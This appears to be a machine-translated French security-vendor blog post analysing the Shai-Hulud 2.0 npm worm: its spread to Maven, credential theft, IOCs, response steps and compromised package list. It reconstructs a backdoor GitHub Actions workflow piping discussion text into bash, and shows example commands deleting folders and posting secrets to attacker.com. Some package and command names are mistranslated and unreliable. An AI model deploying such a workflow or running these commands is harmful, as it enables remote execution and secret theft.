shai hulud - attaque de la chaîne d'approvisionnement npm

Attaque de la chaîne d'approvisionnement NPM Shai-Hulud 2.0

TL; DR

Le 24 novembre 2025, des chercheurs ont découvert Shai Hulud : La Seconde Venue, une nouvelle vague de Attaque de la chaîne d'approvisionnement NPM qui réinfecte les paquets npm, vole les identifiants et se propage sur les machines des développeurs et CI/CD pipelineContrairement au premier incident, cette version installe l'environnement d'exécution Bun à la volée, déploie des portes dérobées cachées dans GitHub Actions et inclut un outil destructeur capable d'effacer des répertoires personnels entiers sous Linux, macOS et Windows. En quelques heures, le nombre de paquets compromis a dépassé les 830, confirmant qu'il ne s'agit pas d'une simple variante, mais d'une escalade majeure de la vulnérabilité. ver original.

Impact Tout développeur ou responsable d'intégration continue installant des packages npm publics peut avoir été exposé. Les équipes Java sont également menacées suite à la réplication automatique des packages infectés vers Maven Central.

Actions immédiates: Bloquer les versions malveillantes connues, imposer les installations avec uniquement des fichiers de verrouillage, faire tourner les identifiants npm, GitHub et cloud, supprimer les exécuteurs auto-hébergés inconnus et surveiller les indicateurs de compromission tels que setup_bun.js, bun_environment.js et les dépôts GitHub suspects contenant « Sha1-Hulud : La Seconde Venue ».

Ce qui a changé : Shai Hulud lors de l’attaque contre la chaîne d’approvisionnement de NPM lors de son passage à Maven

La deuxième vague de l'attaque Shai Hulud a marqué une escalade majeure. Lors de la première campagne, le ver était resté confiné à l'écosystème npm. Cette fois-ci, le logiciel malveillant a pénétré d'autres systèmes. Maven centrale, révélant l'existence d'équipes Java qui n'ont jamais touché à npm.

Chronologie et fenêtre de jetons

L'attaque a commencé le 24 novembre 2025, juste avant que npm ne retire ses anciens jetons d'authentification le décembre 9.
Ces anciens jetons étaient plus faciles à voler et à réutiliser. Comme les attaquants y avaient encore accès pendant cette période, ils ont pu republier rapidement des centaines de versions malveillantes avant l'échéance.

Comment le logiciel malveillant a atteint Maven

Le saut entre registres s'est produit à cause de mvnpm, un outil de mise en miroir automatisé qui convertit les packages npm en artefacts Maven.

mvnpm n'effectue aucun contrôle de sécurité. Il se contente de reconditionner ce que npm publie.

Par conséquent:

  • Un paquet npm compromis (par exemple posthog-node@4.18.1)
  • A été automatiquement converti en artefact Maven
    org.mvnpm:posthog-node:4.18.1
  • Et publié sur Maven Central avant même que quiconque ne se rende compte qu'il était infecté.

En d'autres termes, Des développeurs Java ont été victimes d'une faille de sécurité chez npm., même s'ils n'ont jamais installé de paquet npm.

Pourquoi est-ce important

Il s'agit de la premier ver inter-registre connu, où une attaque de la chaîne d'approvisionnement se propage d'un écosystème à un autre par la seule automatisation.
De ce fait, le rayon d'action inclut désormais Java, les charges de travail JVM et enterprise construire des systèmes qui s'appuient sur Maven Central.

Pourquoi Shai Hulud 2.0 est-il si sérieux ?

 Environnement d'exécution Bun utilisé pour échapper à la détection

Les attaquants sont passés de Node.js à l'environnement d'exécution Bun. Le logiciel malveillant installe Bun à la volée via setup_bun.js lors de l'installation du paquet. Cela évite la surveillance spécifique au nœud et permet aux attaquants d'exécuter plus rapidement une charge utile obfusquée très volumineuse.

GitHub Actions utilisé comme porte dérobée de commandes

Une fois installé, le logiciel malveillant crée un exécuteur GitHub Actions auto-hébergé caché dans  $HOME/.dev-env/Cette méthode fonctionne sous Windows, macOS et Linux. Les attaquants peuvent exécuter des commandes simplement en publiant des messages dans les discussions GitHub d'un dépôt compromis. Un fichier de workflow traite ces messages et les exécute comme des commandes shell.

Essuie-glace intégré

Si le logiciel malveillant ne parvient pas à s'authentifier auprès de GitHub ou npm, il efface le répertoire personnel de la victime.

  • Sous Windows, il utilise de, rd et chiffrement /W effacer les fichiers.
  • Sous Linux et macOS, il écrase les données avec déchiqueter puis supprime les répertoires.

Une campagne très bruyante

Bien que le logiciel malveillant utilise une certaine furtivité (par exemple, en utilisant Bun), la campagne dans son ensemble est loin d'être discrète. Il republie agressivement des paquets compromis, crée des centaines, voire des milliers, de nouveaux dépôts, télécharge en masse des fichiers d'identifiants et installe des runners auto-hébergés persistants sur les machines des développeurs. Rien de tout cela n'est discret. L'ampleur, la rapidité et le caractère bruyant de cette attaque contrastent fortement avec la plupart des compromissions de la chaîne d'approvisionnement, qui privilégient généralement la discrétion..

Impact étendu

Les attaquants ont compromis de nombreux logiciels populaires totalisant des millions de téléchargements mensuels, notamment :
Zapier, ENS Domains, Postman, PostHog, AsyncAPI et Voiceflow.

Signaux d'attribution possibles

L'attribution est complexe et aucune source confirmée n'est à l'origine de cette campagne. Une grande entreprise de sécurité note que l'opération ressemble au ver Shai-Hulud, mais les différences dans la conception du code malveillant et son mode de propagation laissent penser à l'implication d'opérateurs différents. Leur analyse souligne que plusieurs environnements ont téléchargé les paquets compromis avant leur suppression par npm, ce qui suggère une exposition réelle plutôt qu'un simple test ponctuel.

Étant donné que les tactiques rappellent celles de la première vague tout en divergeant sur des points clés, notamment la structure de la charge utile, la logique de propagation et le style opérationnel, l'hypothèse d'une attaque par imitation est plausible. Les attaquants ont peut-être repris des idées de Shai-Hulud, mais en utilisant leurs propres outils. Il pourrait également s'agir d'un autre groupe cherchant à imiter la campagne précédente.

À ce stade, aucun élément probant ne permet de l'associer à un acteur connu, un groupe à motivation financière ou une entité étatique. Le chevauchement avec le ver d'origine est réel, mais les différences sont suffisamment importantes pour que l'attribution reste dans la catégorie « non confirmée ».

Diffusion dans Maven

Une importante entreprise de sécurité a confirmé que les packages npm malveillants étaient automatiquement republiés sur Maven via mvnpm, un outil qui convertit les packages npm en artefacts Maven sans vérification manuelle.

Le package suivant a été envoyé à Maven Central : org.mvnpm:posthog-node:4.18.1

Comme mvnpm se contente de reconditionner tout ce que npm publie, les versions infectées ont été répliquées dans l'écosystème Java avant même que quiconque ne s'en aperçoive.

Maven Central a supprimé les artefacts concernés le 25 novembre 2025 et a commencé à renforcer les contrôles pour éviter des problèmes similaires entre registres.

Cela signifie que les projets Java sans connexion directe à npm auraient tout de même pu être exposés.

Comment fonctionne l'attaque Shai Hulud 2.0

Flux d'infection

  • Un malveillant préinstaller Le script est ajouté à package.json.
  • setup_bun.js installe Bun sur la machine de la victime si celui-ci est absent.
  • bun_environment.js (Plus de 480 000 lignes de code obscurci) s'exécutent en arrière-plan.
  • Le logiciel malveillant recherche les identifiants en utilisant des techniques similaires à celles de TruffleHog. Il recherche
    • Clés AWS, GCP et Azure
    • Jetons GitHub
    • jetons npm
    • secrets du système CI
  • Les données volées sont téléchargées sur des dépôts GitHub publics portant la description « Sha1-Hulud : La Seconde Venue ».
  • À l'aide des jetons capturés, le logiciel malveillant publie des versions compromises de paquets, infecte les dépôts GitHub accessibles et installe des exécuteurs auto-hébergés persistants pour l'exécution de code à distance.

Flux de travail malveillants sur GitHub

Lors de la deuxième vague de l'attaque de la chaîne d'approvisionnement Shai-Hulud NPM, le logiciel malveillant a créé deux flux de travail cachés de GitHub Actions Au sein de référentiels compromis, ces flux de travail permettent aux attaquants d'exécuter du code à distance, de maintenir leur présence à long terme et d'accéder pleinement aux secrets du système.

1. Flux de travail de porte dérobée (discussion.yaml)

Le flux de travail le plus dangereux écoute Discussions sur GitHub événements. Lorsqu'un message de discussion est créé ou modifié, le flux de travail lit le corps du message et l'exécute comme un commande shell sur la machine de la victime.

Voici une version simplifiée du flux de travail malveillant, reconstituée à partir d'échantillons observés :

# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

La ligne critique est :

${{ github.event.discussion.body }}

Cela signifie que l'attaquant peut publier n'importe quelle commande dans une discussion GitHub, et que le runner auto-hébergé l'exécute immédiatement. Comme ces runners ont souvent accès aux réseaux internes, aux identifiants cloud et aux secrets d'intégration continue, cette faille permet à l'attaquant d'exécuter du code à distance lors de l'attaque de la chaîne d'approvisionnement NPM de Shai Hulud.

Exploitation par injection de commandes

Ce procédé exploite la manière dont GitHub Actions traite les expressions. Au lieu de limiter les entrées à des chaînes de caractères sécurisées, il lit le contenu brut des discussions et le transmet directement à l'interpréteur de commandes. Par conséquent, l'attaquant n'a qu'à publier un message comme :

rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

Ce comportement étant apparu à plusieurs reprises lors de l'attaque de la chaîne d'approvisionnement NPM de Shai Hulud, il est devenu l'un des signaux les plus clairs indiquant que le logiciel malveillant utilisait GitHub Actions comme canal de commande à distance.

Les serveurs auto-hébergés aggravent la situation car ils :

  • exécuter au sein des réseaux d'entreprise
  • tenir nuage ou CI/CD Lettres de créance
  • exécuter avec les autorisations de l'utilisateur
  • ne disposent pas du sandbox ou de l'isolation de GitHub

Cela offre aux attaquants un canal de commande persistant vers les environnements internes.

Flux de travail de collecte des secrets et des systèmes

En plus de la porte dérobée, le logiciel malveillant déploie un autre flux de travail dont le but est de collecter et de stocker des données sensibles du système infecté.
Ces flux de travail rassemblent :

  • identifiants cloud
  • Variables d'environnement
  • listes d'annuaire
  • Scans secrets à la TruffleHog

Ils stockent les données collectées dans des fichiers tels que :

  • cloud.json
  • environnement.json
  • contenu.json
  • truffleSecrets.json

Ces fichiers sont ensuite téléchargés sur des dépôts GitHub contrôlés par l'attaquant et étiquetés « Sha1-Hulud : La Seconde Venue », où des centaines voire des milliers de décharges ont été observées.

Indicateurs de compromis

Fichier SHA256
setup_bun.js a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Autres signaux d'alarme

  • .github/workflows/discussion.yaml
  • $HOME/.dev-env/ contenant des coureurs inattendus
  • Des dépôts GitHub publics ont été créés sur votre compte contenant « Sha1-Hulud : La Seconde Venue ».

Indicateurs mis à jour (au 26 novembre 2025)

Métrique que vous avez
paquets npm compromis 830
Dépôts GitHub infectés 28,000
Fichiers secrets téléchargés 5,000
Secrets totaux collectés 11,858
Secrets valides 2,298

Que faire maintenant : Réagir à l’attaque de la chaîne d’approvisionnement de Shai Hulud NPM

L'attaque de la chaîne d'approvisionnement NPM par Shai Hulud exige une réponse rapide et structurée. Cette seconde vague se propageant à npm, GitHub, aux machines des développeurs et même à Maven Central, les équipes doivent agir vite pour détecter, contenir et corriger intégralement toute vulnérabilité. Les étapes ci-dessous vous aideront à réagir dans le bon ordre et à réduire le risque de compromission supplémentaire.

Détection

  • Recherchez sur GitHub les dépôts portant la description « Sha1-Hulud : La Seconde Venue ».
  • Recherchez les journaux d'installation de Bun lors de l'installation des paquets.
  • Examinez les fichiers package.json pour détecter les scripts de cycle de vie inattendus, en particulier préinstaller.
  • Vérifier $HOME/.dev-env/ sur les systèmes de développement ou d'intégration continue.
  • Examinez les journaux de publication GitHub et npm pour détecter les versions suspectes.

Confinement

  • Renouvelez tous vos identifiants : GitHub, npm, cloud, secrets CI, clés API.
  • Désactivez et supprimez les exécuteurs auto-hébergés inconnus.
  • Bloquez temporairement la création de dépôts.
  • Supprimez les versions infectées de votre graphe de dépendances.

Remédiation

  • Nettoyer les systèmes affectés.
  • Examinez tous les workflows GitHub Actions pour les fichiers injectés.
  • Recherchez dans vos journaux d'intégration continue les commandes ou exécutions inhabituelles.

Recompiler à partir de versions de paquets fonctionnelles et reconnues.

Comment Xygeni contribue à stopper les attaques comme le retour de Shai-Hulud

Après une campagne aussi agressive que Shai-Hulud Second Coming, les équipes ont besoin de bien plus que des contrôles manuels. Elles ont besoin d'une protection automatisée qui bloque les logiciels malveillants avant qu'ils n'atteignent les développeurs, les systèmes d'intégration continue ou les systèmes de production. C'est là que Xygeni offre un avantage majeur.

Alerte précoce aux logiciels malveillants (MEW) : Détecter les menaces avant qu’elles ne se propagent

 Le moteur d'alerte précoce de Xygeni analyse en temps réel les nouveaux paquets open source et leurs mises à jour. Il signale les comportements suspects tels que :

  • JavaScript obscurci ou code groupé massif
  • Les scripts de cycle de vie qui installent des environnements d'exécution externes comme Bun
  • Connexions inattendues aux points de terminaison GitHub, npm ou cloud
  • Des compte-gouttes qui écrivent dans $HOME, .dev-env/ ou dossiers de flux de travail

MEW a détecté des schémas utilisés dans les deux vagues de Shai-Hulud, ce qui aide les équipes à réagir avant que les attaquants ne propagent davantage l'infection.

Guardrails in CI/CD bloquer les paquets malveillants

Xygeni applique guardrails qui arrêtent automatiquement les opérations dangereuses :

  • CI pipelines ne peut pas installer de paquets contenant des scripts de préinstallation ou de postinstallation cachés.
  • Les compilations échouent lorsqu'un package tente de créer des flux de travail comme .github/workflows/discussion.yaml
  • Pipelinerejettent les dépendances publiées à partir de sources non fiables ou de comptes vus en premier

Cela réduit considérablement la surface d'attaque et empêche l'exécution de logiciels malveillants au sein des tâches d'intégration continue.

Secrets Protection réduit le rayon de l'explosion

Étant donné que Shai-Hulud vole les clés cloud, les jetons GitHub, les jetons npm et les secrets d'intégration continue, la protection doit également s'intéresser aux identifiants. Xygeni :

  • Détecte les secrets exposés dans le code, les journaux, les flux de travail et les fichiers d'environnement
  • Rotation automatique des identifiants à haut risque
  • L'utilisation de jetons à courte durée de vie est imposée afin de limiter les compromissions à long terme.

Même si un attaquant obtient un accès initial, les clés volées deviennent rapidement inutiles.

Remarques finales : Pourquoi l’attaque de la chaîne d’approvisionnement NPM de Shai Hulud reste importante

L'espace La seconde venue de Shai-Hulud Cet incident montre à quel point un incident moderne peut facilement se produire. Attaque de la chaîne d'approvisionnement NPM peuvent se déplacer entre écosystèmes. Dans ce cas précis, un logiciel malveillant est passé de npm à Maven grâce à des outils de mise en miroir automatisés comme mvnpm Des paquets compromis ont été republiés sans vérification. De ce fait, des équipes Java ont été exposées, même si elles n'utilisaient jamais directement npm. Cela démontre clairement que les flux de travail inter-registres nécessitent un examen immédiat et des mesures de sécurité renforcées.

De plus, l'ampleur et le comportement de cette campagne révèlent les méthodes actuelles des attaquants. Au lieu de rester discrets, ils publient simultanément des centaines de paquets, déploient des runners GitHub cachés, volent des secrets en masse et incluent même un outil de suppression destructeur en cas de problème. Par conséquent, les vérifications manuelles ne peuvent suivre ce niveau d'automatisation et de rapidité. Les équipes ont besoin d'une protection continue et en temps réel au niveau du paquet, de la source et de la racine. pipeline couches.

Pourquoi la continuité Pipeline Security Est désormais essentiel

Des attaques comme La seconde venue de Shai-Hulud continuera d'évoluer. Par conséquent, prévenir la prochaine vague nécessite des mécanismes de contrôle automatiques internes. CI/CD, et non après la compromission. Une défense moderne doit combiner la détection précoce des logiciels malveillants, la validation rigoureuse des dépendances, l'application de politiques de sécurité et la protection des secrets afin d'empêcher la propagation de code malveillant dans les environnements de développement sans être détectée.

Xygeni accompagne cette évolution en fournissant des solutions automatisées guardrails Il couvre l'ensemble de la chaîne d'approvisionnement logicielle. Il identifie les packages suspects avant leur installation, impose des versions de dépendances sécurisées, bloque les flux de travail non sécurisés, détecte les secrets exposés et alerte en cas d'activité inhabituelle. pipeline Par conséquent, les équipes restent protégées même lorsque les attaques contre la chaîne d'approvisionnement se propagent rapidement et franchissent les frontières de l'écosystème.

Liste des paquets compromis

Les colis concernés peuvent également être consultés à l'aide du #shai-hulud / #shai-hulud-second-coming étiquette dans OpenSourceMalware.com

 
Forfait Version
02-écho0.0.7
@accordproject/analyse de concerto3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-métamodèle3.12.5
@accordproject/types-de-concerts3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-image rapide8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7 , 0.0.8
@alexcolls/nuxt-ux0.6.2 , 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template1.0.2 , 1.0.1
@asyncapi/edavisualiser1.2.2 , 1.2.1
@asyncapi/go-watermill-template0.2.76 , 0.2.77
@asyncapi/java-template0.3.6 , 0.3.5
@asyncapi/keeper0.0.3 , 0.0.2
@asyncapi/php-template0.1.2 , 0.1.1
@asyncapi/python-paho-template0.2.15 , 0.2.14
@asyncapi/serveur-api0.16.25 , 0.16.24
@asyncapi/studio1.0.3 , 1.0.2
@asyncapi/composant-web2.6.7 , 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/directeur-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@commute/bloom1.0.3
@trajets/données de marché1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/encodeur d'adresse1.1.5
@ensdomains/blacklist1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registraire1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renouvellement0.0.13
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/registraire-sous-domaine0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/passerelles-inviolables0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1 , 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4 , 1.4.5
@everreal/web-analytics0.0.1 , 0.0.2
@faq-component/noyau0.0.4
@faq-component/react1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/système-de-conception4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-annonce0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/client-api9.12.3 , 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/bus scolaire5.2.2 , 5.2.3
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker1.0.2 , 1.0.1
@ntnx/passeport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/gestionnaire-erreurs1.2.2
@posthog/agent1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/icônes0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscine3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/magicien1.18.1
@postman/aether-icons2.23.4, 2.23.3, 2.23.2
@postman/csv-parse4.0.5, 4.0.3, 4.0.4
@postman/node-keytar7.9.6, 7.9.4, 7.9.5
@postman/agent de tunnel0.6.7, 0.6.6, 0.6.5
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@seung-ju/next0.0.2
@seung-ju/openapi-generator0.0.4
@seung-ju/react-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3 , 2.0.2
@tiaanduplessis/react-progressbar1.0.2 , 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/expressions-bool4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/client-api1.3.36 , 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas0.6.7 , 0.6.8
@vishadtyagi/calendrier-année complète0.1.11
@voiceflow/alexa-types2.15.60 , 2.15.61
@voiceflow/anthropique0.4.4 , 0.4.5
@voiceflow/api-sdk3.28.58 , 3.28.59
@voiceflow/backend-utils5.0.2 , 5.0.1
@voiceflow/types-de-base2.136.3 , 2.136.2
@voiceflow/body-parser1.21.2 , 1.21.3
@voiceflow/types-de-chat2.14.59 , 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1 , 0.2.2
@voiceflow/commitlint-config2.6.2 , 2.6.1
@voiceflow/commun8.9.1 , 8.9.2
@voiceflow/default-prompt-wrappers1.7.4 , 1.7.3
@voiceflow/dependency-cruiser-config1.8.12 , 1.8.11
@voiceflow/dtos-interact1.40.2 , 1.40.1
@voiceflow/cryptage0.3.3 , 0.3.2
@voiceflow/eslint-config7.16.4 , 7.16.5
@voiceflow/eslint-plugin1.6.2 , 1.6.1
@voiceflow/exception1.10.2 , 1.10.1
@voiceflow/fetch1.11.1 , 1.11.2
@voiceflow/types-généraux3.2.23 , 3.2.22
@voiceflow/git-branch-check1.4.4 , 1.4.3
@voiceflow/google-dfes-types2.17.12 , 2.17.13
@voiceflow/google-types2.21.12 , 2.21.13
@voiceflow/husky-config1.3.1 , 1.3.2
@voiceflow/logger2.4.3 , 2.4.2
@voiceflow/metrics1.5.2 , 1.5.1
@voiceflow/commande-en-langage-naturel0.5.2 , 0.5.3
@voiceflow/nestjs-common2.75.2 , 2.75.3
@voiceflow/nestjs-mongodb1.3.1 , 1.3.2
@voiceflow/nestjs-limite-de-débit1.3.3 , 1.3.2
@voiceflow/nestjs-redis1.3.1 , 1.3.2
@voiceflow/nestjs-timeout1.3.1 , 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1 , 1.1.2
@voiceflow/openai3.2.2 , 3.2.3
@voiceflow/pino6.11.4 , 6.11.3
@voiceflow/pino-pretty4.4.2 , 4.4.1
@voiceflow/prettier-config1.10.2 , 1.10.1
@voiceflow/react-chat1.65.4 , 1.65.3
@voiceflow/runtime1.29.1 , 1.29.2
@voiceflow/runtime-client-js1.17.3 , 1.17.2
@voiceflow/sdk-runtime1.43.2 , 1.43.1
@voiceflow/fournisseur-secrets1.9.3 , 1.9.2
@voiceflow/semantic-release-config1.4.2 , 1.4.1
@voiceflow/serverless-plugin-typescript2.1.7 , 2.1.8
@voiceflow/slate-serializer1.7.4 , 1.7.3
@voiceflow/stitches-react2.3.3 , 2.3.2
@voiceflow/storybook-config1.2.2 , 1.2.3
@voiceflow/stylelint-config1.1.1 , 1.1.2
@voiceflow/test-common2.1.1 , 2.1.2
@voiceflow/tsconfig1.12.2 , 1.12.1
@voiceflow/tsconfig-paths1.1.5 , 1.1.4
@voiceflow/utils-designer1.74.19 , 1.74.20
@voiceflow/verror1.1.5 , 1.1.4
@voiceflow/vite-config2.6.2 , 2.6.3
@voiceflow/vitest-config1.10.3 , 1.10.2
@voiceflow/voice-types2.10.59 , 2.10.58
@voiceflow/voiceflow-types3.32.45 , 3.32.46
@voiceflow/widget1.7.18 , 1.7.19
@zapier/actions-ai0.1.20, 0.1.19, 0.1.18
@zapier/babel-preset-zapier6.4.2, 6.4.1, 6.4.3
@zapier/browserslist-config-zapier1.0.4, 1.0.3, 1.0.5
@zapier/secret-scrubber1.1.5, 1.1.4, 1.1.3
bouclier IA1.0.7
arc-cli-fc1.0.1
aperçu de l'API asynchrone1.0.2 , 1.0.1
atrix1.0.1
modèle d'automatisation1.0.491
constructeur axios1.2.1
axios-annulable1.0.2 , 1.0.1
axios-timed1.0.2 , 1.0.1
CSS minimaliste1.1.4 , 1.1.3
impression encadrée de Benmostyn1.0.1
Bestgpiocontrôleur1.0.10
adaptateur bidirectionnel1.2.2, 1.2.4, 1.2.5, 1.2.3
blinqio-executions-cli1.0.41
blob-to-base641.0.3
fichier httpbun-plugin0.1.1
bytecode-checker-cli1.0.11, 1.0.8, 1.0.9, 1.0.10
octets-à-x1.0.1
calcul des intérêts d'emprunt1.0.4
plug-in de condensateur pour le suivi d'applications iOS0.0.21
achat de condensateur-plugin0.1.1
plug-in-capacitor-scgssigninwithgoogle0.0.5
historique d'achat de condensateurs0.0.10
enregistreur vocal à condensateur (format WAV)6.0.3
téléchargements d'extensions Chrome0.0.3 , 0.0.4
claude-token-updater1.0.3
API CoinMarketCap3.1.3 , 3.1.2
couleurs-regex2.0.1
commande-rail0.5.4
comparer-objet1.1.1 , 1.1.2
réducteur composite1.0.4, 1.0.3, 1.0.2, 1.0.5
compte à rebours1.0.2 , 1.0.1
instructions du processeur0.0.14
application de création de réalisateur0.1.1
créer une application Glee0.2.3 , 0.2.2
créer-application casque de chantier31.1.4, 1.1.3, 1.1.1, 1.1.2
codec d'adresse crypto0.1.9
css-dedoupe0.1.2
dashboard-état-vide1.0.3
designstudiouiux1.0.1
devstart-cli1.0.6
dialogflow-es1.1.4, 1.1.3, 1.1.1, 1.1.2
serveur de bots Discord0.1.2
docusaurus-plugin-vanilla-extrait1.0.3
n'y allez pas1.1.2
dotnet-template0.0.3 , 0.0.4
plugin drop-events-on-property0.0.2
testeur de délivrabilité des e-mails1.1.1
appliquer-nom-de-branche1.1.3
esbuild-plugin-brotli0.2.1
esbuild-plugin-eta0.1.1
esbuild-plugin-httpfile0.4.1
eslint-config-nitpicky4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ethereum-ens0.8.1
evm-checkcode-cli1.0.15, 1.0.12, 1.0.13, 1.0.14
ticker exact0.3.5
session audio de l'expo0.2.1
expressos1.1.3
gros doigts1.0.2 , 1.0.1
bascule de fonctionnalité1.0.2 , 1.0.1
moteur de recherche Firestore1.2.3
